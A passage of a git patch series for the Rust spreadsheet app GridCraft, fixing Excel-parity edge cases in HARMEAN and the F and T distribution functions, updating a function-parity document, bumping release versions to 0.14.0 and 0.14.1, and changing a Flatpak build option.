| minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From d3cd393dba85dcf72dba4f1bc2e8bd6ba8f01af4 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:25:09 -0500 Subject: [PATCH 109/298] G719: return NA for empty harmonic mean input --- crates/functions/src/stat/descriptive.rs | 5 ++++- crates/functions/src/stat/tests.rs | 13 +++++++++++++ docs/function-parity.md | 7 ++++++- 3 files changed, 23 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index af4c53607..0cf8068f6 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -420,7 +420,10 @@ pub(super) fn geomean(v: &[f64]) -> R { } pub(super) fn harmean(v: &[f64]) -> R { - if v.is_empty() || v.iter().any(|&x| x <= 0.0) { + if v.is_empty() { + return Err(CellError::NA); + } + if v.iter().any(|&x| x <= 0.0) { return Err(CellError::Num); } Ok(v.len() as f64 / v.iter().map(|x| 1.0 / x).sum::()) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..8e259c546 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -151,6 +151,19 @@ fn spread() { let g = [4.0, 5.0, 8.0, 7.0, 11.0, 4.0, 3.0]; close_tol(ev("GEOMEAN", vec![c(&g)]), 5.476986969, 1e-9); close_tol(ev("HARMEAN", vec![c(&g)]), 5.028375962, 1e-9); + let text_values = arr(vec![vec![tv("1"), tv("2")]]); + let bool_values = arr(vec![vec![Value::Bool(true), Value::Bool(false)]]); + let mixed_values = arr(vec![vec![nv(2.0), tv("ignored"), Value::Bool(true)]]); + is_err(ev("HARMEAN", vec![av(text_values.clone())]), CellError::NA); + is_err(ev("HARMEAN", vec![av(bool_values.clone())]), CellError::NA); + is_err(ev("HARMEAN", vec![rf(text_values)]), CellError::NA); + is_err(ev("HARMEAN", vec![rf(bool_values)]), CellError::NA); + close(ev("HARMEAN", vec![av(mixed_values.clone())]), 2.0); + close(ev("HARMEAN", vec![rf(mixed_values)]), 2.0); + close(ev("HARMEAN", vec![b(true)]), 1.0); + close(ev("HARMEAN", vec![n(2.0), n(4.0)]), 8.0 / 3.0); + is_err(ev("HARMEAN", vec![av(arr(vec![vec![nv(0.0)]]))]), CellError::Num); + is_err(ev("HARMEAN", vec![av(arr(vec![vec![nv(-1.0)]]))]), CellError::Num); is_err(ev("GEOMEAN", vec![c(&[1.0, 0.0])]), CellError::Num); close_tol(ev("TRIMMEAN", vec![c(&[4.0, 5.0, 6.0, 7.0, 2.0, 3.0, 4.0, 5.0, 1.0, 2.0, 3.0]), n(0.2)]), 3.777777778, 1e-9); is_err(ev("TRIMMEAN", vec![c(&[1.0]), n(1.0)]), CellError::Num); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..735c4b5e2 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (HARMEAN returns `#N/A` when its arguments contain no numeric observations) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -97,6 +97,10 @@ This improves series preparation; it does not change the model-fitting or season ## Depth (estimated) +| Function | Excel parity note | +|---|---| +| HARMEAN | Returns `#N/A` when arrays and references contain no numeric observations; zero and negative numeric observations still return `#NUM!`. | + **~82% ready.** The library is broad and has 96 test functions in `crates/functions` with many assertions each, but there is no conformance suite against Excel-computed results, and user reports keep finding edge cases: MIN() with no arguments (#138), COUNTBLANK past the used range @@ -123,6 +127,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | HARMEAN returns `#N/A` when array or reference inputs contain no numbers; nonpositive numeric observations remain `#NUM!` | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From cca8a58bfad3d30e42c5bec8136bcd8094572a5f Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:51:07 -0500 Subject: [PATCH 110/298] Stabilize F distribution CDF at extreme degrees --- crates/functions/src/stat/distributions.rs | 3 +++ crates/functions/src/stat/tests.rs | 1 + 2 files changed, 4 insertions(+) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 7acc798ec..95a21a3df 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -48,6 +48,9 @@ fn f_cdf(x: f64, d1: f64, d2: f64) -> f64 { if x <= 0.0 { return 0.0; } + if d1 >= 1e8 && d2 / d1 <= 1e-8 { + return 1.0 - f_upper(x, d1, d2); + } reg_inc_beta(d1 * x / (d1 * x + d2), d1 / 2.0, d2 / 2.0) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index bac17a4af..8154f3704 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -408,6 +408,7 @@ fn t_chi_f() { fn f_distributions_accept_ten_billion_degrees() { close_tol(ev("F.DIST", vec![n(0.0), n(10_000_000_000.0), n(1.0), b(false)]), 0.0, 0.0); close_tol(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_000.0)]), 1.0, 0.0); + close_tol(ev("F.DIST", vec![n(1_000_000.0), n(10_000_000_000.0), n(1.0), b(true)]), 0.999202115, 1e-8); close_tol(ev("F.INV", vec![n(0.5), n(10_000_000_000.0), n(1.0)]), 2.198110953542527, 2e-6); close_tol(ev("F.DIST.RT", vec![n(0.0), n(9_999_999_999.0), n(1.0)]), 1.0, 0.0); is_err(ev("F.DIST.RT", vec![n(0.0), n(10_000_000_001.0), n(1.0)]), CellError::Num); From 3b61d660e911242ac8af73d2bcea7cee9fb39669 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:51:47 -0500 Subject: [PATCH 111/298] Return NUM for invalid T distribution degrees --- crates/functions/src/stat/distributions.rs | 8 +------- crates/functions/src/stat/tests.rs | 8 ++++---- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 40e7d5223..cb2f0398a 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -173,13 +173,7 @@ fn df_arg(a: &[Arg], i: usize) -> R { pub(super) fn t_dist(a: &[Arg], _: C) -> R { let x = num(a, 0)?; - let v = num(a, 1)?.trunc(); - if v == 0.0 { - return Err(CellError::Div0); - } - if v < 1.0 { - return Err(CellError::Num); - } + let v = df_arg(a, 1)?; let cum = boolean(a, 2)?; num_val(if cum { t_cdf(x, v) } else { t_pdf(x, v) }) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index a5bb21f9b..86d9393dd 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -366,7 +366,7 @@ fn t_chi_f() { close_tol(ev("T.DIST.RT", vec![n(1.959999998), n(60.0)]), 0.027322465, D7); close_tol(ev("TDIST", vec![n(1.959999998), n(60.0), n(2.0)]), 0.054644930, D7); is_err(ev("TDIST", vec![n(-1.0), n(60.0), n(2.0)]), CellError::Num); - is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Div0); + is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Num); close_tol(ev("T.INV", vec![n(0.75), n(2.0)]), 0.8164966, D7); close_tol(ev("T.INV", vec![n(0.25), n(2.0)]), -0.8164966, D7); close_tol(ev("T.INV.2T", vec![n(0.546449), n(60.0)]), 0.606533, D7); @@ -405,10 +405,10 @@ fn t_chi_f() { } #[test] -fn t_dist_degrees_truncating_to_zero_return_div0() { +fn t_dist_degrees_truncating_below_one_return_num() { for df in [0.0, 0.9, -0.1] { - is_err(ev("T.DIST", vec![n(0.0), n(df), b(false)]), CellError::Div0); - is_err(ev("T.DIST", vec![n(0.0), n(df), b(true)]), CellError::Div0); + is_err(ev("T.DIST", vec![n(0.0), n(df), b(false)]), CellError::Num); + is_err(ev("T.DIST", vec![n(0.0), n(df), b(true)]), CellError::Num); } is_err(ev("T.DIST", vec![n(0.0), n(-1.0), b(false)]), CellError::Num); close_tol(ev("T.DIST", vec![n(0.0), n(1.99), b(false)]), 1.0 / std::f64::consts::PI, 1e-15); From ca44a5d68fa14ee01a0f3a884ff1138db00292fc Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:52:05 -0500 Subject: [PATCH 112/298] Avoid overflow in t density normalization --- crates/functions/src/stat/distributions.rs | 2 +- crates/functions/src/stat/tests.rs | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 4e75486ef..d90999200 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -26,7 +26,7 @@ fn t_pdf(t: f64, v: f64) -> f64 { } else { ln_gamma(z + 0.5) - ln_gamma(z) }; - (log_gamma_ratio - 0.5 * (v * std::f64::consts::PI).ln() - (v + 1.0) / 2.0 * (t * t / v).ln_1p()).exp() + (log_gamma_ratio - 0.5 * (v.ln() + std::f64::consts::PI.ln()) - (v + 1.0) / 2.0 * (t * t / v).ln_1p()).exp() } /// t ≥ 0 with P(T > t) = q, q in (0, 0.5]. diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 2b215afe3..3d3b9ec24 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -360,6 +360,7 @@ fn normal() { #[test] fn t_chi_f() { + close_tol(ev("T.DIST", vec![n(0.0), n(6e307), b(false)]), 0.3989422804, 1e-10); close_tol(ev("T.DIST", vec![n(60.0), n(1.0), b(true)]), 0.99469533, D7); close_tol(ev("T.DIST", vec![n(8.0), n(3.0), b(false)]), 0.00073691, 1e-5); close_tol(ev("T.DIST.2T", vec![n(1.959999998), n(60.0)]), 0.054644930, D7); From a0da53f576154efbab7c13260e28e9e1106d896c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:53:00 -0500 Subject: [PATCH 113/298] Match T DIST zero degree errors by mode --- crates/functions/src/stat/distributions.rs | 8 +++++++- crates/functions/src/stat/tests.rs | 4 ++-- docs/function-parity.md | 4 ++-- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..f42d06b05 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -173,8 +173,14 @@ fn df_arg(a: &[Arg], i: usize) -> R { pub(super) fn t_dist(a: &[Arg], _: C) -> R { let x = num(a, 0)?; - let v = df_arg(a, 1)?; + let v = num(a, 1)?.trunc(); let cum = boolean(a, 2)?; + if v == 0.0 { + return Err(if cum { CellError::Num } else { CellError::Div0 }); + } + if v < 0.0 { + return Err(CellError::Num); + } num_val(if cum { t_cdf(x, v) } else { t_pdf(x, v) }) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 86d9393dd..c4d608a03 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -405,9 +405,9 @@ fn t_chi_f() { } #[test] -fn t_dist_degrees_truncating_below_one_return_num() { +fn t_dist_zero_degrees_error_depends_on_mode() { for df in [0.0, 0.9, -0.1] { - is_err(ev("T.DIST", vec![n(0.0), n(df), b(false)]), CellError::Num); + is_err(ev("T.DIST", vec![n(0.0), n(df), b(false)]), CellError::Div0); is_err(ev("T.DIST", vec![n(0.0), n(df), b(true)]), CellError::Num); } is_err(ev("T.DIST", vec![n(0.0), n(-1.0), b(false)]), CellError::Num); diff --git a/docs/function-parity.md b/docs/function-parity.md index 316c9cd97..d66e691b0 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (T.DIST gives `#DIV/0!` when truncated degrees of freedom are zero; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (T.DIST gives `#DIV/0!` for density mode and `#NUM!` for cumulative mode when truncated degrees of freedom are zero; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,7 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | T.DIST returns `#DIV/0!` when degrees truncate to zero; negative integer degrees remain `#NUM!` | +| 2026-10-31 | minor | T.DIST returns `#DIV/0!` in density mode and `#NUM!` in cumulative mode when degrees truncate to zero; negative integer degrees remain `#NUM!` | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 70da8bb3aef52f6bff3e5eccdea15d46b8766b36 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 20:53:15 -0500 Subject: [PATCH 114/298] Cover strict upper tail in F inverse --- crates/functions/src/stat/tests.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 8154f3704..423a628e6 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -397,6 +397,7 @@ fn t_chi_f() { close_tol(ev("F.DIST.RT", vec![n(15.2069), n(6.0), n(4.0)]), 0.01, 1e-6); close_tol(ev("FDIST", vec![n(15.2069), n(6.0), n(4.0)]), 0.01, 1e-6); close_tol(ev("F.INV", vec![n(0.01), n(6.0), n(4.0)]), 0.10930991, D7); + close_tol(ev("F.INV", vec![n(0.99), n(6.0), n(4.0)]), 15.20686, D7); close_tol(ev("F.INV.RT", vec![n(0.01), n(6.0), n(4.0)]), 15.20686, D7); close_tol(ev("FINV", vec![n(0.01), n(6.0), n(4.0)]), 15.20686, D7); close_tol(ev("F.TEST", vec![c(&[6.0, 7.0, 9.0, 15.0, 21.0]), c(&[20.0, 28.0, 31.0, 38.0, 40.0])]), 0.64831785, D7); From 006b7962bd2a3279d7bc91b8f69c46953fe62b7d Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 21:14:19 -0500 Subject: [PATCH 115/298] Preserve F distribution tail accuracy --- crates/functions/src/stat/distributions.rs | 5 ++++- crates/functions/src/stat/tests.rs | 2 ++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index a697bc75a..9bd519066 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -51,8 +51,11 @@ fn f_cdf(x: f64, d1: f64, d2: f64) -> f64 { if x <= 0.0 { return 0.0; } + if x == 1.0 && d1 == d2 { + return 0.5; + } if d1 >= 1e8 && d2 / d1 <= 1e-8 { - return 1.0 - f_upper(x, d1, d2); + return reg_gamma_q(d2 / 2.0, d2 / (2.0 * (x + d2 / d1))); } reg_inc_beta(d1 * x / (d1 * x + d2), d1 / 2.0, d2 / 2.0) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 423a628e6..3e229262e 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -409,6 +409,8 @@ fn t_chi_f() { fn f_distributions_accept_ten_billion_degrees() { close_tol(ev("F.DIST", vec![n(0.0), n(10_000_000_000.0), n(1.0), b(false)]), 0.0, 0.0); close_tol(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_000.0)]), 1.0, 0.0); + close_tol(ev("F.DIST", vec![n(0.01), n(1_000_000_000.0), n(1.0), b(true)]), 1.52397e-23, 1e-28); + close_tol(ev("F.DIST", vec![n(1.0), n(10_000_000_000.0), n(10_000_000_000.0), b(true)]), 0.5, 0.0); close_tol(ev("F.DIST", vec![n(1_000_000.0), n(10_000_000_000.0), n(1.0), b(true)]), 0.999202115, 1e-8); close_tol(ev("F.INV", vec![n(0.5), n(10_000_000_000.0), n(1.0)]), 2.198110953542527, 2e-6); close_tol(ev("F.DIST.RT", vec![n(0.0), n(9_999_999_999.0), n(1.0)]), 1.0, 0.0); From 15f6297001e9cd3b660f6ccccd57fb50266db742 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 22:59:24 -0400 Subject: [PATCH 116/298] Release 0.14.0 Co-Authored-By: Claude Opus 5.5 --- Cargo.lock | 32 ++++++++++++++++---------------- Cargo.toml | 2 +- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 7a189e317..efc700265 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1936,7 +1936,7 @@ dependencies = [ [[package]] name = "gridcraft" -version = "0.13.0" +version = "0.14.0" dependencies = [ "arboard", "chrono", @@ -1963,7 +1963,7 @@ dependencies = [ [[package]] name = "gridcraft-calc" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -1975,7 +1975,7 @@ dependencies = [ [[package]] name = "gridcraft-chart" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-calc", "gridcraft-core", @@ -1986,7 +1986,7 @@ dependencies = [ [[package]] name = "gridcraft-cli" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-engine", "gridcraft-mcp", @@ -1998,7 +1998,7 @@ dependencies = [ [[package]] name = "gridcraft-core" -version = "0.13.0" +version = "0.14.0" dependencies = [ "chrono", "js-sys", @@ -2009,7 +2009,7 @@ dependencies = [ [[package]] name = "gridcraft-engine" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-calc", "gridcraft-chart", @@ -2031,7 +2031,7 @@ dependencies = [ [[package]] name = "gridcraft-formula" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-core", "serde", @@ -2040,7 +2040,7 @@ dependencies = [ [[package]] name = "gridcraft-functions" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-core", "regex", @@ -2048,7 +2048,7 @@ dependencies = [ [[package]] name = "gridcraft-mcp" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-engine", "log", @@ -2057,7 +2057,7 @@ dependencies = [ [[package]] name = "gridcraft-model" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -2069,18 +2069,18 @@ dependencies = [ [[package]] name = "gridcraft-numfmt" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-core", ] [[package]] name = "gridcraft-pdf" -version = "0.13.0" +version = "0.14.0" [[package]] name = "gridcraft-ui-egui" -version = "0.13.0" +version = "0.14.0" dependencies = [ "craft-ui", "craft-update", @@ -2105,7 +2105,7 @@ dependencies = [ [[package]] name = "gridcraft-web" -version = "0.13.0" +version = "0.14.0" dependencies = [ "eframe", "egui", @@ -2122,7 +2122,7 @@ dependencies = [ [[package]] name = "gridcraft-xlsx" -version = "0.13.0" +version = "0.14.0" dependencies = [ "aes", "gridcraft-core", @@ -6403,7 +6403,7 @@ checksum = "e450f9b2ed1dff33c94c12589a87338689467b9c4f5d8a5710bd09a847d2c8a7" [[package]] name = "xtask" -version = "0.13.0" +version = "0.14.0" dependencies = [ "gridcraft-engine", "serde_json", diff --git a/Cargo.toml b/Cargo.toml index 4c234044c..fb933b09b 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ members = ["crates/*", "apps/*", "xtask"] default-members = ["crates/*", "apps/gridcraft", "apps/gridcraft-cli", "xtask"] [workspace.package] -version = "0.13.0" +version = "0.14.0" edition = "2024" license = "MIT OR Apache-2.0" rust-version = "1.95" From 213fe1150e542724a50caa3d0b98cd568cd32a47 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 23:07:11 -0400 Subject: [PATCH 117/298] Review fixes: one Depth table for the BINOM, BETA and HARMEAN notes; summarise the function-parity header --- docs/function-parity.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index b7ae64588..818090feb 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (HARMEAN returns `#N/A` when its arguments contain no numeric observations; earlier: BETA.DIST density returns `#NUM!` when an endpoint's corresponding shape parameter is less than or equal to 1; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals, and the other IM* differences from Excel are listed) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (edge cases matched to Excel: base conversions, BITLSHIFT/BITRSHIFT, UNICHAR noncharacters, UPPER/LOWER/PROPER casing, FIXED/DOLLAR output, F/T/GAMMA/WEIBULL/BETA distributions, BINOM trial cap, HARMEAN; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -101,9 +101,9 @@ This improves series preparation; it does not change the model-fitting or season | Function | Excel parity note | |---|---| | BINOM.DIST / BINOM.DIST.RANGE | Trial count is truncated, then must be at most 2,147,483,646; larger trials return `#NUM!`. | - | BETA.DIST | Density mode returns `#NUM!` at the lower or upper interval endpoint when the corresponding shape parameter is less than or equal to 1; cumulative endpoint results remain 0 and 1. | | HARMEAN | Returns `#N/A` when arrays and references contain no numeric observations; zero and negative numeric observations still return `#NUM!`. | + **~82% ready.** The library is broad and has 96 test functions in `crates/functions` with many assertions each, but there is no conformance suite against Excel-computed results, and user reports keep finding edge cases: MIN() with no arguments (#138), COUNTBLANK past the used range From 71d4e2311db7645371e775a276590539c5d2371f Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 23:15:37 -0400 Subject: [PATCH 118/298] Flatpak bundle: skip the debuginfo pass for cups-client (runner has no eu-strip) Co-Authored-By: Claude Opus 5.5 --- packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml index a3fb2669e..e0c7ccece 100644 --- a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml +++ b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml @@ -47,6 +47,10 @@ modules: # the socket path matches the host's, which --socket=cups mounts. - name: cups-client buildsystem: simple + # The release runner's flatpak-builder has no eu-strip (elfutils), which the debuginfo pass + # runs on every binary this module compiles. + build-options: + no-debuginfo: true build-commands: - ./configure --prefix=/app --sysconfdir=/etc --localstatedir=/var --with-rundir=/run/cups --with-domainsocket=/run/cups/cups.sock --disable-shared --with-components=libcups From 8f59487cbeba9d2bdc70ff2c58ca0f64f61d768d Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 23:15:39 -0400 Subject: [PATCH 119/298] Release 0.14.1 Co-Authored-By: Claude Opus 5.5 --- Cargo.lock | 32 ++++++++++++++++---------------- Cargo.toml | 2 +- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index efc700265..3e408c178 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1936,7 +1936,7 @@ dependencies = [ [[package]] name = "gridcraft" -version = "0.14.0" +version = "0.14.1" dependencies = [ "arboard", "chrono", @@ -1963,7 +1963,7 @@ dependencies = [ [[package]] name = "gridcraft-calc" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -1975,7 +1975,7 @@ dependencies = [ [[package]] name = "gridcraft-chart" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-calc", "gridcraft-core", @@ -1986,7 +1986,7 @@ dependencies = [ [[package]] name = "gridcraft-cli" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-engine", "gridcraft-mcp", @@ -1998,7 +1998,7 @@ dependencies = [ [[package]] name = "gridcraft-core" -version = "0.14.0" +version = "0.14.1" dependencies = [ "chrono", "js-sys", @@ -2009,7 +2009,7 @@ dependencies = [ [[package]] name = "gridcraft-engine" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-calc", "gridcraft-chart", @@ -2031,7 +2031,7 @@ dependencies = [ [[package]] name = "gridcraft-formula" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-core", "serde", @@ -2040,7 +2040,7 @@ dependencies = [ [[package]] name = "gridcraft-functions" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-core", "regex", @@ -2048,7 +2048,7 @@ dependencies = [ [[package]] name = "gridcraft-mcp" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-engine", "log", @@ -2057,7 +2057,7 @@ dependencies = [ [[package]] name = "gridcraft-model" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -2069,18 +2069,18 @@ dependencies = [ [[package]] name = "gridcraft-numfmt" 